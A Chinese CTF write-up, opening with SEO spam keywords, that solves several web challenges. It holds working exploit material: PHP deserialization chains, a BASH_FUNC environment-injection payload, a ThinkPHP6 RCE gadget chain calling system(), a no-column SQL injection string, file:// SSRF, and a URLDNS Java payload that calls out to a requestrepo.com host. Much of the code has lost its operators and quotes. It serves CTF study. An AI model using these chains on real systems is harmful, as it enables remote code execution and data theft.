漳州做网站最便宜,怎么用net123做网站,外贸移动端网站模板,做框架模板的网站100#xff05;_upload
题目描述#xff1a;小茂夫说#xff1a;一直上传恶意文件尊嘟要生气了#xff0c;世事莫固守#xff0c;转变思路求突破
开题#xff0c;注意有个文件包含 题目把后缀过滤死了#xff0c;无法上传php后缀文件。文件内容些许过滤#xff0c;短…100_upload
题目描述小茂夫说一直上传恶意文件尊嘟要生气了世事莫固守转变思路求突破
开题注意有个文件包含 题目把后缀过滤死了无法上传php后缀文件。文件内容些许过滤短标签即可绕过。
这题文件上传文件包含。上传txt后缀木马直接包含即可。 Not just unserialize
题目描述看似平平无奇的反序列化题出题人却在dockerfile里添加了这样一行奇怪命令RUN ln -sf /bin/bash /bin/sh……
首先分析一下题目描述RUN ln -sf /bin/bash /bin/sh 这条Docker命令 RUN ln -sf /bin/bash /bin/sh 在构建Docker镜像时执行用于在Linux环境下创建或更新一个符号链接即它会将 /bin/sh 指向 /bin/bash。 RUN: Dockerfile中的指令用于在镜像构建过程中执行命令。ln: Linux命令用于创建链接包括硬链接和符号链接。-sf: -s: 指定创建的是符号链接而不是硬链接。符号链接类似于Windows中的快捷方式指向另一个文件。-f: 强制执行。如果目标文件在这个例子中是 /bin/sh已存在它将被无提示删除并重新创建链接。这确保了即使 /bin/sh 已存在链接也会被更新为指向 /bin/bash。 /bin/bash: 这是链接的目标即当你访问或执行 /bin/sh 时实际上是访问或执行的文件。/bin/sh: 这是要创建或更新的符号链接的路径。 在许多Linux发行版中/bin/sh 默认可能指向不同的Shell如dash或其他轻量级Shell。 这个命令确保在Docker镜像中当任何过程或脚本尝试通过/bin/sh执行Shell脚本时实际使用的是Bash Shell而不是系统默认的Shell。 开题。 源码
?phphighlight_file(__FILE__);
class start
{public $welcome;public $you;public function __destruct(){$this-begin0fweb();}public function begin0fweb(){$phacker!;$this-welcome-you $p;}
}class SE{public $year;public function __set($name, $value){echo Welcome to new year! ;echo($this-year);}
}class CR {public $last;public $newyear;public function __tostring() {if (is_array($this-newyear)) {echo nonono;return false;}if (!preg_match(/worries/i,$this-newyear)){echo empty it!;return 0;}if(preg_match(/^.*(worries).*$/,$this-newyear)) {echo Don\t be worry;} else {echo Worries doesn\t exists in the new year ;empty($this-last-worries);}return false;}
}class ET{public function __isset($name){foreach ($_GET[get] as $inject $rce){putenv({$inject}{$rce});}system(echo \Havent you get the secret?\);}
}
if(isset($_REQUEST[go])){unserialize(base64_decode($_REQUEST[go]));
}
?函数解释
empty() 检查一个变量是否为空 判断一个变量是否被认为是空的。当一个变量并不存在或者它的值等同于**FALSE**那么它会被认为不存在。如果变量不存在的话**empty()**并不会产生警告。 putenv() 设置环境变量的值 bool putenv( string $setting)添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。 设置特定的环境变量也有可能是一个潜在的安全漏洞。 safe_mode_allowed_env_vars 包含了一个以逗号分隔的前缀列表。 在安全模式下用户可以仅能修改用该指令设定的前缀名称的指令。 默认情况下用户仅能够修改以 PHP_ 开头的环境变量例如 PHP_FOOBAR。 注意如果此指令是空的PHP允许用户设定任意环境变量 safe_mode_protected_env_vars 指令包含了逗号分隔的环境变量列表使用户最终无法通过 putenv() 修改。 即使 safe_mode_allowed_env_vars 设置允许修改这些变量也会被保护。 反序列化最后一步利用是环境变量注入那就讲通了题目描述中的docker语句是为了环境变量注入做准备的
我是如何利用环境变量注入执行任意命令 | 离别歌 (leavesongs.com)
反序列化链子
//start::__destruct()-start::begin0fweb()-SE::__set()-CR::__tostring()-ET::__isset()POC
?phphighlight_file(__FILE__);
class start
{public $welcome;public $you;public function __destruct(){$this-begin0fweb();}public function begin0fweb(){$phacker!;$this-welcome-you $p;}
}class SE{public $year;public function __set($name, $value){echo Welcome to new year! ;echo($this-year);}
}class CR {public $last;public $newyear;public function __tostring() {if (is_array($this-newyear)) {echo nonono;return false;}if (!preg_match(/worries/i,$this-newyear)){echo empty it!;return 0;}if(preg_match(/^.*(worries).*$/,$this-newyear)) {echo Don\t be worry;} else {echo Worries doesn\t exists in the new year ;empty($this-last-worries);}return false;}
}class ET{public function __isset($name){foreach ($_GET[get] as $inject $rce){putenv({$inject}{$rce});}system(echo \Havent you get the secret?\);}
}//start::__destruct()-start::begin0fweb()-SE::__set()-CR::__tostring()-ET::__isset()$anew start();
$a-welcomenew SE();
$a-welcome-yearnew CR();
$a-welcome-year-newyear\x0aworries;
$a-welcome-year-lastnew ET();echo base64_encode(serialize($a));?传参如下有个编码问题是个坑
?get[BASH_FUNC_echo%25%25]() { tac /ffffllllllaaaaaaaaaaaaaaaaaaggggg; };goTzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9hacker
题目描述这好像不是简单的sql注入
开题源码有提示 直接查询没有反应 burp打一下fuzz发现过滤了以下部分 这题考无列名注入可以看我的文章才发现这篇访问有9k啊啊啊NSS [HNCTF 2022 WEEK2]easy_sql_nss上的sql-CSDN博客
payload
1/**/union/**/select/**/2/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)xxx%23Oyst3rPHP
题目描述I think that Oyst3rphp is the best
开题看饿了 没啥发现骚一波看看收获满满 源码readme发现是TP6 工具检测不到 所以我们再看看源码。估计有部分改动我们要手动打。
/app/controller/index.php
?php
namespace app\controller;
use app\BaseController;class Index extends BaseController
{public function index(){echo RT一个很简单的Web给大家送一点分,再送三只生蚝过年一起吃生蚝哈;echo img src../Oyster.png./;$payload base64_decode($_POST[payload]);$right $_GET[left];$left $_GET[right];$key (string)$_POST[key];if($right ! $left md5($right) md5($left)){echo Congratulations on getting your first oyster;echo img src../Oyster1.png./;if(preg_match(/.?THINKPHP/is, $key)){die(Oysters dont want you to eat);}if(stripos($key, 603THINKPHP) false){die(Oysters dont want you to eat);}echo WOWCongratulations on getting your second oyster;echo img src../Oyster2.png./;unserialize($payload);//最后一个生蚝在根目录而且里面有Flag咋样去找到它呢它的名字是什么//在源码的某处注释给出了提示这就看你是不是真懂Oyst3rphp框架咯//小Tips细狗函数┗|O′|┛ 嗷~~}}public function doLogin(){/*emmm我也不知道这是what瞎写的*/if ($this-request-isPost()) {$username $this-request-post(username);$password $this-request-post(password);if ($username your_username $password your_password) {$this-success(Login successful, index/index);} else {$this-error(Login failed);}}}}
注意这里有一个反序列化点猜测反序列化可以直接利用。 我们只需要绕一下md5弱比较和正则回溯限制就行。由于回溯限制包比较大我们直接用脚本发包。
import requestsurl http://yuanshen.life:38909/?lefts878926199arights1091221200adata {key:.*1000100603THINKPHP,payload:【xxx】}r requests.post(url,data).text
print(r)TP6利用链子
?phpnamespace think\model {use think\Model;class Pivot extends Model {}
}namespace think {abstract class Model {private $lazySave false;private $data [];protected $withEvent true;private $exists false;private $force false;protected $table;private $withAttr [];public function __construct($obj ) {$this-lazySave true;$this-data array(Jay17cat /Oyst3333333r.php);$this-withEvent false;$this-exists true;$this-force true;$this-table $obj;$this-withAttr array(Jay17system);}}}namespace {use think\model\Pivot;echo base64_encode(serialize(new Pivot(new Pivot())));}flag在/Oyst3333333r.php卡了好久。。
最后POC
import requestsurl http://yuanshen.life:38909/?lefts878926199arights1091221200adata {key:.*1000100603THINKPHP,payload:TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToiSmF5MTciO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjg6IgAqAHRhYmxlIjtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Nzp7czoyMToiAHRoaW5rXE1vZGVsAGxhenlTYXZlIjtiOjE7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJKYXkxNyI7czoyMToiY2F0IC9PeXN0MzMzMzMzM3IucGhwIjt9czoxMjoiACoAd2l0aEV2ZW50IjtiOjA7czoxOToiAHRoaW5rXE1vZGVsAGV4aXN0cyI7YjoxO3M6MTg6IgB0aGlua1xNb2RlbABmb3JjZSI7YjoxO3M6ODoiACoAdGFibGUiO3M6MDoiIjtzOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo1OiJKYXkxNyI7czo2OiJzeXN0ZW0iO319czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6NToiSmF5MTciO3M6Njoic3lzdGVtIjt9fQ}r requests.post(url,data).text
print(r)EZ_SSRF
题目描述送你们点分flag位于/flag哦~
直接给了源码
?php
highlight_file(__file__);
error_reporting(0);
function get($url) {$curl curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_HEADER, 0);curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);$data curl_exec($curl);curl_close($curl);echo base64_encode($data);return $data;
}
class client{public $url;public $payload;public function __construct(){$url http://127.0.0.1/;$payload system(\cat /flag\);;echo Exploit;}public function __destruct(){get($this-url);}
}
// hint:hide other file
if(isset($_GET[Harder])) {unserialize($_GET[Harder]);
} else {echo You dont know how to pass parameters?;
}?flag不在/flag。payload变量不会执行我们注意力放在url变量上file协议直接读。
POC
?php
highlight_file(__file__);
error_reporting(0);
function get($url) {$curl curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_HEADER, 0);curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);$data curl_exec($curl);curl_close($curl);echo base64_encode($data);return $data;
}
class client{public $url;public $payload;public function __construct(){$url http://127.0.0.1/;$payload system(\cat /flag\);;echo Exploit;}public function __destruct(){get($this-url);}
}$anew client();
$a-urlfile:///var/www/html/flag.php;
echo serialize($a);payload
?HarderO:6:client:2:{s:3:url;s:29:file:///var/www/html/flag.php;s:7:payload;N;}base64解码 [进阶]elInjection【*】
题目描述快写个exp打死我
hint 利用ScriptEngine基础上可以使用Base64编码Bypass 非预期解法dns出网情况下dns换行导致解析失败可以使用命令ls /|head -n 1|tail -n -1来读取行数 flag没有权限读取执行/readflag获取 套双层ScriptEngineManager的eval执行java.util.Base64解码内容 开题 [进阶]CC_deserialization【*】
题目描述最近jack想学cc链他请教了一位师傅师傅为了考验他的能力给了他一个网址和jar包让他拿到地址中的flag可是jack拿到网址后一脸懵逼所以来找你求救你能帮助他吗?jdk版本1.8.0_65
先把jar包用IDEA打开看看。用的是CC1 先打一下URLDNS看看出网否出网。
exprO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAGGRjdmV4eWs3LnJlcXVlc3RyZXBvLmNvbXQAAHEAfgAFdAAEaHR0cHB4dAAfaHR0cDovL2RjdmV4eWs3LnJlcXVlc3RyZXBvLmNvbXg